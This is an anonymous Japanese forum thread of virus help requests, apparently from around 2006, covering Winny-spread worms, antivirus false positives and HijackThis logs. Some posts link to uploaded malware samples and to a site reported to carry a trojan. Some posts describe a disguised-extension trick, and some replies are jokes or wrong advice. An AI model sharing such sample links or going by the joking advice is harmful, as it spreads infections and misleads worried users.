粘膜の洗浄になったよ　　サンキュウ

ノートパソコンかい？　先日電池パック死んだんで焦ったが、電池パック抜いてアダプターから電源確保したら起動できました。
ｳｲﾙｽが原因なら今、わたしが書いたことはスルーしてください。

ダチに聞いたら前回正常起動時の構成で起動できないのかと言われてやってみたのですが
起動できませんでした
真っ暗なまま止まります
英語の変な文字がでてきます

【使用OS】 WIN MX

　　　　　↓

使用OS】 WIN MX

　　　　　↓

【　が無くなったって事は　OSがバージョンupしたか？

電子メールを実行とかOSがMXだとか英語の変な字が出てきますとか
お前の脳がウイルスに犯されてるんじゃないか？

>>305
どうして人が傷つくようなことが平気で言えるのか？
本気で困っているんです
レジストリハイブも回復コンソールだってなんのソフトかわからないし

>>288に便乗質問します
【使用OS】 WINNY
【WINDOWS　UPDATE】 してます
【ウィルスソフト】 ErrorSafe
【UPDATE】 してます
【スキャン】 ―――
【症状】 ハードディスクが認識しない？
【やったこと】 Alt+F4押しつづけても画面が開き続けて閉じることができなくなって
【とった処置】 怖くなってあわててコンセント抜いてしまいました

>>307
そんな時にはファイル名を指定して実行に
「tskill iexplore」
惜しかったね　もっと早く知っとけばよかったね

このまま起動できないままだと大事なファイルが見れなくなります
ダウンロードしたデジカメのファイルが見れなくなるのは一番困ります

>ダウンロードしたデジカメのファイル<
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
（?д?）

他人がデジカメで撮ったやつを収集していたという感じかな…まぁ、そんなものはまた集めれば良い訳で…。

友達のPCにHDつけてもらって中身ぬきだせば？

　　　　 ∧＿∧ 　　
　　　　（　´∀｀）　　まぁ　CDブートとかですな
　　　　（　　　　）　　1CD LinuxとかBart PEとか
　　　　｜ ｜　|　 　知り合いに頼んだら　USBメモリとかに吸い出せるかと
　　　　（_＿）＿）　 デバイス繋いでからブートしましょう

【使用OS】 windows xp
【WINDOWS　UPDATE】 最新
【ウィルスソフト】 　ノートン
【UPDATE】 　最新
【スキャン】 　かけてる
【症状】 　ギコネコが画面のなかをフワフワとうごきながら『迷い込んだようだ』という
【やったこと】 　lanから切断
【とった処置】 　再度スキャン中

ギコネコがふわふわ画面を動く　ウイルスというのがあるのでしょうか？
お教えいただけるとありがたいです
これは別端末より　書き込みしてます

>>314
gifアニメならな
きっと何でもねえよ

>>314
ジョークプログラムだろう
特定して送っときゃいい。
■ウイルス感染の疑いがあるファイルをSymantec Security Responseに提出する方法
http://service1.symantec.com/SUPPORT/INTER/entsecurityjapanesekb.nsf/jp_docid/20020624043939949

>>315
アドバイスありがとうございます.
>>316
アドバイスありがとうございます。

３１４です。はじめてなので、パニクリました。

　　　　　　∧ ∧
〜′￣￣( ﾟДﾟ)　すんまそん
　UU￣￣　U U

http://nekokick.at.infoseek.co.jp/gikogiko.htm

Mac、Linux、UNIXのウィルス情報のスレありませんか？

cookieの名前が変わるウイルスってありますか？

【使用OS】XP
【WINDOWS　UPDATE】している
【ウィルスソフト】バスター
【UPDATE】している
【スキャン】バスター
【症状】Adware_PlanetNewsというのがでてくる。
【やったこと】とくになし
【とった処置】まだしていない

バスターのデータベースででてこない。
ググるとマカフィーでは大丈夫とでてきます。
放置して大丈夫なのでしょうか？

テンプレにのっとらない形の投稿で申し訳ございません
どなたか助けてください…
さきほどネット上で「Ghost Recon　AW」というゲームのNo Diskパッチを探していたところ
海外のサイトでそれらしきモノがあったのでダウンロード＆インストールしたのですが
どうやらそれがウィルスだったらしくそのまま感染してしまいました…
最初hitman　pro2 やウィルスバスターのスパイウェアの検索＆削除をおこなっていたのですが
どうにも駆除できませんでした。その間もウィルスはタスクバーに表示され活動中…
それまでの記憶をたどり検索してみた所
ttp://www.viruschaser.jp/vi_index/vi_w/Win32.HLLW.Tibic.html
上記のページにある「Win32.HLLW.Tibic」が入ってしまった可能性が浮上してきました。
これはあくまで憶測ですが、起動中sysmatrixのNet in & Net outにもわずかながらデータの送受信が確認できたので上記のページに記されているP2Pを利用してという部分にも合致しているかと思います。

そして、その後上記のページにあるvirus chaserのdemoをインストールし駆除を試みました。
しかしvirus chaserが検索を開始し、「ウィルスを発見しました。削除しますか」と表示された瞬間にPCが強制終了…。
その後再起動しても、スタートアップ画面からログオンし、最初のデスクトップ画面が表示されたところでそのまま停止。
別のユーザーでログオンしてもまったく同じ状態で停止…。
（一応画面上にアイコンは表示されます。が、タスクバーの常駐型ランチャー等を読み込んでいる途中で止まります）
実質、起動しても何もできない状態です…。
今現在この書き込みに関しては別のPCから行っています。
ちなみにPCの構成は下記の通りです
Windows XP 2
Athlon X2 4600
mem 3G
MB:K8N Neo4-FX
windows update ＆virus buster updateほぼ毎日チェック更新おこなっております

長々とすいませんでした。
どなたか解決方法に心当たりのある方がいらっしゃいましたらおしえてください。
よろしくお願いします。

　　　∩＿＿＿∩
　　　| 丿　　　　　ヽ
　　 /　　ー　　　ー |　　　　
　　 |　　　　( _●_) 　ミ　　 　　　　　
　 彡､　　　　ヽノ　,,/ 　　　　
　 / 　　　　┌─┐´　　　　
　|´　 丶　ヽ{ .　　 }ヽ　　　　
　 ｒ　 　 ヽ、__)ニ(_丿　　　　
　ヽ、___　　　ヽ　ヽ　　　　　
　　と＿＿_＿ノ＿ノ

　　　　　　　　　　　　　○
　　　　　　　　　⊂⊃　⊂⊃ ／~~＼ 　 ⊂⊃
　　　　林林............,,,,傘傘傘::::::::傘傘傘.........林.林...

　　　　　　zzzzzzzz...........
　　　　　　　　　　　　　　　_,,..,,,,_
　　　　　　　､,　 ,,, 、,,　 ./ ,' 3／⌒ヽ-、_ 　　、　,, 　＠
　　　　　　　　 ､,　　　／l. 　/＿＿＿＿／ 　　　　 ヽ|ﾉ,,
　　　　＠　　　,,, 、,,　￣,,￣￣￣￣,,￣ 　　,,, 、,,　
　　　 ヽ|ﾉ　､､,　　,, 、,,　　　,　"　　,,　　､､,　,,

　　 　　　　　　　 　　　 ∧∧
　　　　　　　　　 ＿｡　(´･ω･`)＿
　　　　　　 　 ／c(＿ｱ旦￣￣／ヽ
　　　 　　　／＿＿＿＿＿_／※※ヽ、　ぬくぬくぬく
　　　　　〆※ 　　　　　 ※ ※／／
　　　　∠二二二二二二二二二ゝ

>>321
＞Adware_PlanetNews
これ正確？ぐぐってもまったく出てこないのだが・・・

>>322
これにこりてP2Pをやめるべし。
さっさとOSをクリーンインストールしてしまうことを推奨したい。
意地悪ではなく、それがあんたの為になると本気で思っているので。

>>326
間違いないです。そのまま詳細調べようとしてみたんですが、
データベースでてこなかったんです。
一体なんなんだろう・・・
とりあえずspybotを入れてみます。

追記
PlanenNewsというのはでるんですが・・・

>>321
＞ググるとマカフィーでは大丈夫とでてきます。
そのマカフィーのページでいいから、そこのＵＲＬを貼り付けてみて。

【使用OS】 win2k
【WINDOWS　UPDATE】自動更新にてやっています
【ウィルスソフト】バスター
【UPDATE】昨日夜に実施
【スキャン】いつやったか覚えてないです
【症状】 全ファイルがpugyaaa○○に
【やったこと】全パーテーションフォーマット
【とった処置】上記



質問ではなくやってしまった見たいなので報告

ところで何て言うウィルスか知ってる方おられましたら教えて下さい

後最近なりふり構わずwinnyでエロゲ収集してました
では今度p2pはやめる事にして復旧してきます

ノシ

pugyaaaウィルス

>>332
サンクス
今情報収集していましたが
もう一つのp2pソフト（名前失念）発祥のウィルス見たいですね

BISHOPの放課後２でもやったんだろ
ホワイターが仕込んであるのはみんな知っているのに

【使用OS】 win2k
【WINDOWS　UPDATE】自動更新
【ウィルスソフト】avast、ad-aware
【UPDATE】毎日実施
【スキャン】
1.スタートアップ等のみの簡易スキャン：約1週間おきの再起動時に毎回
2.手動スキャン：昨日（前回の手動スキャンは3ヶ月ほど前）
※なお、このところ起動後の常駐スキャンは止めていました
【症状】 不明
【やったこと】avastにて手動スキャン時に発見・削除
【とった処置】上記

c:\winnt\$NtServicePackUninstallの中に"conime.exe"という
ファイル名のトロイが見つかりました。
avastで表示された名称は"Win32 Patched-B[Trj]"です。
これはどんな悪さをするものなんでしょうか？
avastのサイトで詳細を検索してもヒットしなかったので
気持ち悪いです。

http://upp.sakura.ne.jp/src/upp4925.jpg

遅くなりました。このように表示されてしまいます。
マカフィーのは間違いでした。(adware_PlanenNewsというよく似た名前のサイトでした）
どう対処したらよいのでしょうか？

>>336
アンインスコ→NOD32を買う

>>336
結局Spybotでは検出されなかったの？

spybotでは大丈夫と出たんですが・・・
ググってもでてこないものが突然出てきて驚いています。放置しても大丈夫なんでしょうか？

>>321
HKLM\Software\Microsoft\Internet Explorerの先も書き込めばこたえてくれる方がいるかもね。
VB2007のログの「アイテム名」と「タイプ」の間にマウスポインターを合わせ右にドラッグ
すると全体が見えると思う。
今の段階ではSearch Pageなどが書き変えられている可能性が…とか

ttp://upp.sakura.ne.jp/src/upp4926.jpg

ありがとうございます。見れますでしょうか？

>>341
フレッツ接続ツールでも使ってる？

>>342
はい。それが問題なのでしょうか？

>>343
http://www.trendmicro.com/vinfo/grayware/ve_graywareDetails.asp?GNAME=SPYW%5FLOCATOR%2E100

検索してみたらSPYW_LOCATOR.100というのが出てくるけど、フレッツ接続ツールの方も出てきた
他に該当するキーがなければ誤検出とみていいんじゃないかな

>>344様
本当にありがとうございました。次回から放置で処置するのが最善なのでしょうか？

>>345
HijackThis というフリーウェアがある。
http://pc8.2ch.net/test/read.cgi/sec/1091346741
今回の確認項目は"O9"のみ
O9 - Extra button: フレッツ接続ツール - {A26ABCF0-1C8F-46e7-A67C-0489DC21B9CC} - C:\PROGRAM FILES\NTTE\FLETS\APP\TANGOIEBAR.DLL
ならバスターの誤検出でOK

>>346
本当に皆様ありがとうございました。感謝いたします。

>>335
http://translate.google.com/translate?hl=ja&sl=en&u=http://www.processlist.com/info/conime-7.html&sa=X&oi=translate&resnum=3&ct=result&prev=/search%3Fq%3D%2524NtServicePackUninstall%2Bconime.exe%26hl%3Dja%26lr%3D%26sa%3DN

avastの誤検出

>348
ありがとうございます。
胃が痛くなっていたのですが少し安心しました。
しかし当該ファイルを即座に削除したために
リンク先に書かれているファイルと同一のものだったのか
確認できないのが気がかりです。
多くのavast + win2kユーザが検出すると思われるのに
この件があまり話題に上がってないのは何故なんだろう・・・？

【使用OS】　WINXP Home SP2
【WINDOWS　UPDATE】　自動更新。現在最新
【ウィルスソフト】　Norton Internet Security2006、Pestpatrol
【UPDATE】　ウイルスソフトは最新にアップデート済み
【スキャン】　Nortonでスキャンしたがウイルスなしと表示。
【症状】 だがKISでスキャンするとトロイ2つ発見（名前は忘れました）
【やったこと】 【とった処置】　Kasperskyのオンラインスキャンでスキャン→（Nortonを無効にして）Kaspersky〜の体験版をインストール
→スキャンし削除→アンインストール→（Nortonを有効化）

ぁゃιぃ添付を開いたら、ウイルスに感染しますたorz再スキャンしても出て子なったのですが
再インストール以外でほかにとるべき措置はありますか？

>>350
トロイの名称は？

>>350
ノートンアップデートセンター（ノートン2006利用者向け無償アップグレード）※2006年版ライセンス有効期間内であることが条件
http://www.symantec.com/ja/jp/home_homeoffice/support/special/upgrade2007/index.jsp

回答ありがとうございます。
>>351
2つのうち1つはTrojan-Dropper.Win32.Agent.aznです。もう1つは忘れましたorz
>>352
2007に無償アップグレードできるとは知りませんでしたのでアップデートして再スキャンしてみます。

【使用OS】 windows xp
【WINDOWS　UPDATE】 最新
【ウィルスソフト】 　ノートン
【UPDATE】 　最新
【スキャン】 　かけてる
【症状】 　起動時にWMPが立ち上がりすぐに再起動、WMPを閉じればその後は動いてます
【やったこと】 　何がなにやらわかりません
【とった処置】 　とりあえず再度スキャン中

scrファイルを実行した途端にコマンドプロンプトが一瞬立ち上がり、再起動。
移行症状が回復しません。
どなたか対処法をご教授願います。

>>354
しっちゃかめっちゃかだな
NortonとWMPのバージョンくらい書け。

>>355さんすいません
ノートンは2006
WMPはver10です。
ちょっとパニクってました。

>>354
「誘導されてきました」とことわってから
Nortonスレでも相談してみればいい。
Nortonスレのテンプレ2に再記入するように。
http://pc8.2ch.net/test/read.cgi/sec/1164252696/l50

>>355さんありがとうございます
向こうにも行って見ます

向こうにも書いてあるが
http://n.limber.jp/n/SXiQBcKFx
とりあえず>>354と同じっぽい感染元ファイルおいときます。

症状は>>354と同じです

>>359
mp3ファイルを極窓で調べたら拡張子不明だし、
ファイルの再生方法.txt.scr
こんなファイルも付属されてるし

解決です。
win2k proのCDをスキャンしたらオリジナルのconime.exeが
トロイ扱いされて引っかかりました。
確かにavastの誤検出だったようです。

conime.exe 26,384 bytes 1999/12/08 10:55:06
MD5:0177C933D682EACC1118DD7097640F7B

avastの 22.11.2006 - 0650-0 更新分の定義ファイルに追加された
"Win32:Patched-B [Trj]"と上記のconime.exeのビットの並びが
たまたま一致したんでしょうね。

誰かホワイターって持ってないかい？
いろいろ探したけど見あたらないよ〜

>>362
ｎｙで何処かのｴﾛｹﾞｰをﾀﾞｳｿ汁

【使用OS】 windows xp
【WINDOWS　UPDATE】 最新
【ウィルスソフト】 マカフィー
【UPDATE】 　最新
【スキャン】 　かけてる
【症状】 　スキャン結果で『Dialer-182』レジストリ脅威が検出される、ちなみに駆除されない
　　　　　 あとその実際に『Dialer-182』に何されているのか分からない(マカフィーのHPに載ってないから)
【やったこと】【とった処置】 　再度スキャン

『Dialer-182』って何なんだ(-_-;)　マカフィーのHPのウィルス検索にもひっかからんから対処方法がわからないよー

勝手に電話するやつ

>>364
マカフィーでわからないなら、オンラインスキャンで探ってみると良いよ。

カスペルスキー：オンライン ウイルス＆スパイウェアスキャナ　
ttp://www.kaspersky.co.jp/scanforvirus/

>>365 >>366
レスサンクス！とりあえずオンラインスキャンやってみます

>>366
説明できないのに書き込むオナニー野郎乙！

>>368
ごめんなさい、わたし野郎じゃなくて女ですし、オナニー←必用ありません、彼がいますので。
あなたも、そんな虚しい書き込みはやめて早く彼女でも作ってくださいね。

【使用OS】 windowsXP
【WINDOWS　UPDATE】 できなくなった
【ウィルスソフト】 ノートンが入っていたような・・・&hijackthis
【UPDATE】 たぶん
【スキャン】 hijackthisっていう解析ソフトで↓の奴が出てきた
O4 - HKLM\..\Run: [ara-key] C:\Program Files\WindowsUpdate\wuaudnld.tmp\cabs\com_microsoft.Q831167_IE6_SP1\Q8311674967.exe -StartUp
O4 - HKLM\..\Run: [Windows Security Manager] C:\Windows\system32\drivers\etc\svchost.exe -c -ax
【症状】 起動すると「フォルダが壊れています」っていうようなメッセージがでてくる
【やったこと】 何もしていない・突然出てきた
【とった処置】 毎回起動時に出てくる上のメッセージを閉じてる

>>370
O4 - HKLM\..\Run: [ara-key]･･･っていうｴﾝﾄﾘｰは百発百中antinny
っていうウイルスなんだけど、このウイルスってnyしてなければ
感染することなんて完全皆無だけどね。
お前、winnyしてるんじゃないんか？

>>370
悪いことは言わん　再インストールしなさい　中身がウイルスでボロボロだ
仮に駆除できたとしても、不調は直らないかもよ　

>>371
↓はantinnyという名のウイルスなんですか？
O4 - HKLM\..\Run: [ara-key]
しかし変ですね、winnyなんて一度も使ったことは無いのですが。
どこから入ってきたんでしょう？

>>373

>>373
まあな、もうひとつ
O4 - HKLM\..\Run: [Windows Security Manager] C:\Windows\system32\drivers\etc\svchost.exe -c -ax
↑
これもantinny。亜種だけどな。
もう一度聞くよ？
本当にwinnyしてないんだな。

>>372
再インストールとはノートンのことでしょうか？
知識が乏しくてPC始めてから1ヶ月もたたない初心者ですので・・・

>>375
はいやってません。身に覚えもありません。

>>376
最近ソフトいれたり、誰かからファイル貰ったりしてない？

>>376
俺は執念深い男だからな。
最後の確認として、ファイルの検索っていうやつを使ってだ、winnyという名前の
フォルダ・ファイルが存在するか確認してもらえんか？
スタート→検索→フォルダやファイルの検索
↓
探す場所→c:\
↓
詳細→サブフォルダの検索にチェックを付ける
↓
名前→winny
↓
検索

>>377
知らない人からソフトやファイルをもらう理由なんてありませんよ。

>>378
今してみますね。

フォルダ・ファイルの検索でwinny2という名前のフォルダが見つかりました。

おまｗｗｗ普通にありえねーよｗｗｗ
あんまり釣れなかったねｗｗｗ

はい、撤収撤収
本人かどうかはどうでもいい

>>380
nyしてなかったらwinnyって名前のフォルダは見つからんぞ？

>>381
釣りとかじゃなくて本当に困っているんです！

>>384
　→>>383

>>382
370です。信じてください（泣

>>383
winnyはやってません！
ハッカーです。
ハッカーが私のPCに侵入しwinnyを入れたのです。

悪い

ごめん。ｽｰﾊﾟｰﾊｶｰの俺がやったｗｗｗ

>>386

俺を笑い殺す気かてめえ！？
始めて耳にしたぞ、侵入先のPCにnyをインストールするハッカーがいるって。

２ちゃんねる内でわけのわからないURLをコピペして貼りつけてしまいました
携帯からだったのでウイルスが本当にあるなどの確認などできませんでしたが
そのURLを開いた方の話ではウイルスに感染したと言われています
それで、その方から裁判にすると言われております、
これは犯罪になるのですか？また私はどのような処置を取ればいいでしょうか？
ｲﾝﾀｰﾈｯﾄには詳しくないのでご意見を頂きたくレスさせてもらいました
詳しい方教えていただけないでしょうか、よろしくお願いしますm(__)m

>>390
逮捕きたーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

間違いなくハッカーの仕業です。
自分は入れた覚えが無いのに、いつのまにか勝手に入っていた
というのが、ハッカーの仕業と言う証拠です。

>>390
どこに貼ったの？ほんとにウイルスか確認してきてやるよ。

>>393
こちらに貼ってもよろしいですか？

>>394
うん。一応頭のhは抜いてね。

>>395さんへ
ttp://www.geocities.com/fuzoku_ou/index.htm
ウイルスがある可能性があります。

>>396
いま見てきてやるよ。それからどのスレに貼ったのさｗｗ

>>397
ちょっとスレまでは言いたくないのですが…
すみませんm(__)mちょっと嫌な話になっているのであまりみられたくないのです。
本当に困ってここにきました。

恋愛サロンの中の板に貼ってはありました。
私がみかけたのは二つです。

>>396
ウイルスは平気だったぞ。ただのブラクラだよ。
それから、訴えるってｗｗｗほっとけ、大丈夫だから。でもあんまり変なURL貼るのはやめようねｗ
風俗王ボブってｗｗｗ

>>400
ありがとうございましたm(__)m
確認なんですがウイルスはなかったのですか？
ちなみにブラクラってなんでしょうか？
その相手がいっていたウイルス名をちょっとコピペさせてもらいます
みていただけませんか？

ウイルス名：JS_NOCLOSE.AE
・侵入方法：
この不正プログラムは、通常悪意のあるWebサイトに組み込まれており、
ユーザがアクセスした際に実行されます。
また、スパムメールに添付されてコンピュータへ侵入する場合もあります。


このウイルスに感染したと言われました。

それはそれは、この度はおめでとうございます

>>403
えっ？
私本当に困ってるんです、裁判するなんていわれてから
不安で不安で…(;_;)

ブラクラはぐぐってきました、だいたい内容はわかったような気はしますが…
ウイルスが本当になかったんであれば安心できます。
本当にありがとうございましたm(__)m

>>405
ウイルス仕込まれてたよ。ノートンではTrojan Horse検出したよ。
やばいかもね。

>>406
うわぁ…まじですか……？訴えられたらどうしよ……

>>407
どんな状況でリンクはったの？

実はちょっと嫌な奴がいて、リンク貼りつけてました…
ちなみに相手にたいしてレスアンカーはつけてないんですが…
携帯からなんでウイルスがあることなんて想定できなかったんです、
まさか本当にあったなんて……orz

さっきから裁判とか訴えるとか意味が分からないんだけど

その相手はネット関係の仕事をしているとかなんとかで
損害賠償を請求するとか言われました…
URL貼りつけて犯罪行為になることすら知らなかったので
こんなことになってしまったんです。

>>409
じゃあ悪意があった訳だね・・・・・行為は誉められたものではないけど、訴訟云々は気にしなくても大丈夫だと思うよ。
これに懲りてもうしなければいいんじゃない。

>>411
ネット関係の技術者が安易にリンク踏んでファビョってるの？？？
頼むから該当スレ教えてくれ。

>>410
ウイルスに感染するリンクをわざと貼ったとかで、
犯罪だから警察に報告して裁判にすると言われてるんです。
私のやったことは犯罪じゃないんですか？

>>413
このスレのhttp://human5.2ch.net/test/read.cgi/4649/1164261413/

570辺りからです。

こんなんで警察動く訳ねーだろ

そのスレの住民のテンションがネタなのかマジなのか わからん

>>416
ネタかなー？って考えてたんですが
に、してはかなり引っ張ってるんで信じてしまうんですよ…

>>415
ざっと読んできた(笑)大丈夫だからもう寝なよ。
君はなかなか素直な子なんだね。他のスレ覗いたことある？ウイルスなんていっぱいリンクされてるよ。
とにかく安心して大丈夫だよ＾＾

>>419
他のスレはあまりみたけとないんです…そんなに貼ってあるんですか！
それに、あそこまで言われたら信じてしまいました
すみませんでした、ご迷惑おかけしましたm(__)m
本当に本当にありがとうございました、もぅ悪戯はいたしません。

【使用OS】 ＷＩＮＸＰ
【WINDOWS　UPDATE】 自動更新
【ウィルスソフト】 　マカフィーセキュリティセンター
【UPDATE】 　してる
【スキャン】 ３日前
【症状】 　マカフィーのシールドが勝手に切れたりする
　　　　　　あと　タスクにnordsys.exe oasclnt.exe exe.exe wuauclt.exe
などがあるんですけど　これは消したほうがいいのでしょうか

>>421
それらの.exeを↓で検索してみる（ｐｆｗでそのサイト以外接続できないようにして　あるいは別ｐｃで）
http://www.trendmicro.co.jp/vinfo/virusencyclo/

ほいでバスターの体験版でもいれる

基本的にはリカバリ推奨

exe.exeｘっつうマルウエアもあるんだな　勉強にﾅﾀ

【使用OS】windowsXP
【WINDOWS　UPDATE】 最新
【ウィルスソフト】 　avast, ノートン
【UPDATE】 　してる
【スキャン】 かけてる
【症状】 　再起動＋fromJASRACがシステムに食い込み強制再起動
　　　　　　再起動後、WindowsMediaPlayerが起動し、しばらくしたらまた強制再起動
【やったこと】 ダウンロードしたファイル内にあった、「ReadmeXE.txt」をﾀﾞﾌﾞｸﾘ。
　　　　　　　　 感染したと気づいた後、プロパティを見ると、「Readmtxt.eXE」に変わっていた。
　　　　　　　　 しかしﾌｫﾙﾀﾞ内では「ReadmeXE.txt」と表示されていた。
【とった処置】 トレンドマイクロオンラインでスキャン
　　　　　　　　　現在はサブマシンでアクセス、復旧の目処がたたないためメインは放置

>>423
ノートンスレに解決策あり

>>423
ReadmeXE.txtが気になる
テキストファイルにそんなことできるのか

>421
nordsys.exe oasclnt.exe exe.exe wuauclt.exe
のうち、oasclnt.exeはマカフィーのだから
他のはどうかな…？
とりあえずnordsys.exe oasclnt.exe exe.exe wuauclt.exeのファイルを検索して
見つけて、プロパティ開いて会社名とか見てマルウェアかどうか判断してみ？

>>424
レスありがとうございます。
おかげで解決しました。

>>425
ReadmeEX.txtに関してはよくわかりません。
一応UPしておきましたので、判る方はお願い致します。
http://n.limber.jp/n/6vofXqLFe
中身は「ReadmeEX.txt」のみです。

>>425
Unicode制御文字の挿入
ttp://vista.jeez.jp/img/vi6497899372.png

>>427-428
サンクス
アイコンも偽装すれば初心者がいっぱい釣られそうだなこれ

これかなりやばいね
いわれなきゃ　おいらひっかかってる

こりゃ全種類の拡張子をチェックしないといかんかな
画像や動画でやられると踏んじゃうね

なんかタスクバーのところに赤い○に白い×のマークで、そこにポインタを合わせると
your computer is infectedっていうのが出現して困ってます
誰か助けて〜

>>432
なんにも怪しいソフトを入れた記憶がないのなら、まずはオンラインスキャンで探ってみてちょ
カスペルスキー：オンライン ウイルス＆スパイウェアスキャナ　
ttp://www.kaspersky.co.jp/scanforvirus/

>>433
ありがとう解決したよ。ユーみたいなやさしい人がいるから２ｃｈはやめられない

>>434
どういたしまして(＾o＾)

>>282
先ほど、AntiVirがC\Program Files\Lhaplus\Lhaplus.exeを｢TR/Dldr.Stration.I｣
として検出したのですが、誤検出だと考えてよろしいでしょうか？

おいら、とりあえず、Lhaplus.exeの削除、Lhaplusのアンインストールをしてみた。
けど、タスクマネージャーでexplorer.exeが、何もしてしてない時もいつも動いてます。
explorer.exe-02121B1A.pf、IEXPLORE.EXE-2D97EBE6.pf、とかつくられてます。
消してもまたできるので、レジストリが書き換えられてるのではと思いますが、
元に戻せますか？

>>436
AntiVirスレ見ろ
散々既出だ

さっきウィルスバスターオンラインで検索してみたら
BKDR_HUPIGON.GEN
BKDR_HUPIGON.AHP
BKDR_GRAYBIRD.GR
の３つが検出されたんだけど、ヤバイのかな？
ウチなんもウィルス駆除ソフトいれてないっす。
アドバイスお願い申す

>>438
>>1

後、ウイルス反応のあった検出場所を

>>439
おｋ
【使用OS】windowsXP
【WINDOWS　UPDATE】 ２ヶ月前
【ウィルスソフト】 　何もナシ
【UPDATE】 　していない
【スキャン】 かけていない
【症状】 　特に表れていない
検出されたのが
BKDR_HUPIGON.GEN
BKDR_HUPIGON.AHP
BKDR_GRAYBIRD.GR

場所はWINDOWSフォルダですがいじるの怖いんでなんもしてません
お願いします

>>441
http://pc8.2ch.net/test/read.cgi/sec/1031073684/648

>>441
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=BKDR%5FHUPIGON%2EGEN&VSect=T
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=BKDR%5FHUPIGON%2EAHP&VSect=T
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=BKDR%5FGRAYBIRD%2EGR&VSect=T

お前のマシンはすでにどっかの誰かにいいように使われている可能性が高い
さっさとOS再インストールしたが身のためだと思うぞ

>>442,443
レスありがとう
これってトロイだったのかorz
受験勉強するため接続今日で切るんだが、オフラインでも関係なく使われるんでしょか

>>443
いいえ　ルーターとファイアーウォールがあるから心配ないです

ケーブル抜いてる間は外から操作されたり、新しく何か盗まれるこたないが…
オフラインにしたって飼っといて気持ちのいいもんじゃあるまいに
再インストールできない理由でもあるのか？

それからそのマシンでクレジットカードとか個人情報とか
入力した覚えがあるなら変えられるものは変更することを勧める
今時のマルウェアは金銭目的だから

【使用OS】windowsXP
【WINDOWS　UPDATE】 ２ヶ月前
【ウィルスソフト】 　はいってない
【UPDATE】 　してる
【スキャン】 してない
【症状】 　 文字の入力モードが勝手に激しく変わる（ひらがな→直接入力→全角英数…）
　　
【とった処置】 トレンドマイクロオンラインでスキャン、検出されず

>>447
キーボード買い替えろ

ワラタｗ

【使用OS】Win2k sp4
【WINDOWS　UPDATE】してる
【ウィルスソフト】ノートンアンチウィルス
【UPDATE】してる
【スキャン】フルスキャン済み
【症状】winnt\explorer.exeが61.152.92.99にアクセスしようとする。
【やったこと】調べてみると、imkill.98link.com|BT|Hijackers#BLMというキーワードが見つかるが、
　　　　　　　　国内のウィルスデータベースには特に記述が見当たらない。中華系？
【とった処置】スパイウェア駆除ソフトとノートン先生にお願いしたが、特に検出されず。
　　　　　　　　現在はファイヤーウォールでブロック中。

とりあえず、何がexplorer.exeを叩いているのかが知りたいんです。
心覚えのある人いますか？

>>450
imkill.98link.com
これでググルと・・・・

まったくもってウイルス初心者です。
【使用OS】WindowsXP
【WINDOWS　UPDATE】してる
【ウィルスソフト】Avira AntiVir PersonalEdition Classic
【UPDATE】ついさっき
【スキャン】UPDATE後Cドライブ全スキャン
【症状】不明
【やったこと】Winnyなどやってましたが、その頃はウイルスバスター2006で反応なしでした。
【とった処置】隔離

C:\System Volume Information\_retore{051B990F-C89C-4A21-9197-F1FC8B708C1F}\RP345\A0051354.exe
検出したウイルス名：BDS/Delf.BF

C:\System Volume Information\_retore{051B990F-C89C-4A21-9197-F1FC8B708C1F}\RP344\A0051329.exe
検出したウイルス名：Contains signature of the worm WORM/Antinny

C:\Program Files\Ulead Systems\Ulead DVD MovieWriter 4\Instsys3ff3.exe
検出したウイルス名：Contains signature of the worm WORM/Antinny


削除でいいのでしょうか？AntiVirは誤検出も多いと聞いたもんで・・。

>>452
こっちで聞いて
Avira AntiVir PersonalEdition Classic Part19
http://pc8.2ch.net/test/read.cgi/sec/1164979595/

>>451
「ランダムな文字列」にてこずりましたが、
該当ファイルとレジストリキーの削除に成功しました。
どもです。

ISOにもウィルス憑くらしいけど
どうやって駆除するの？　不安でたまらない

不安を取り除くにはＰ２Ｐをやめるこったな

>>455
オートランを切ってウイルスチェックするだけだ

【使用OS】WindowsXP
【WINDOWS　UPDATE】してる
【ウィルスソフト】Avira AntiVir PersonalEdition Classic
【UPDATE】してる
【スキャン】Cドライブ全スキャン
【症状】IEXPLORE.EXE-2D97EBE6.pfが、C:\WINDOWS\Prefetch　に作成される。
　　　　タクスマネージャー上に、IEXPLORE.EXEが４つ存在し、うち２つがメモリー30,880Kと28,432K。
【やったこと】
【とった処置】まだなにも。

IEXPLORE.EXE-2D97EBE6.pfをネットで調べて見たが、日本語のページが無く、？でした。
どうしたらいいでしょうか？

>>458
>IEXPLORE.EXE-2D97EBE6.pf
WinXPでアプリの起動を高速化するための機能。正常。

>IEXPLORE.EXEが4つ存在
たまに、IEのウィンドウを閉じても、終了できずにゾンビ化してる事がある。その都度、強制終了させてるが……。
たぶん、正常。

フルスクリーンのゲームをしてるとなぜか頻繁に落ちます。
その後、下のタスクが固まってしまい、強制終了しかなくなりってしまいます。
セキュリティソフトのせいっぽいと思うのですが。

【使用OS】WindowsXP
【WINDOWS　UPDATE】してる
【ウィルスソフト】avast、sunbelt Kerio
【UPDATE】してる

原因分かる方、よろしくです。

>>460
相性の問題が絶対にない。
とは言い切れないが、「フルスクリーン」でのゲームはハードにかなりの負担をかけるから、
まずはそっちの検証の方が先決。

>>461
その辺は多分問題ないはずです。
CPU　Athlon64 3700+（soket939)
メモリ　2G
グラボ　GeForce7900GS
です。

ただ、電源が450Wなのでそれが少しあるかもですが・・・。

>>462
それならば、疑いが持てる要因、
・アンチウイルス
・プログラムのバグ
・メモリの不具合
・エアフロー
・使用頻度によるWindowsの劣化
・プログラム、ドライバー、デバイスなどのタイミングずれによるフリーズ

　 ∩,,∩
　（`･ω･）
.c(,_ｕｕﾉ

>>460
sunbelt Kerioを使っていて、いきなり落ちる事象を何度か食らったので使用をやめてみたら
ピタリと収まった経験があるけどな

返信遅れました。
とりあえずKerioから他のに変えてみるのからはじめてみます。
色々ありがとうございました。

さらに報告です。

思い切ってKerioアンインストールしてみました。
とあるところで必ず落ちていた現象がウソのようになくなりました。
やはりこれが原因だった様子。

代わりにX-GUARD入れてみました。
FWとしては正直心もとないですが、ルーターもつけてるし、落ちまくるよりはいいなかと思ってます。

>>467
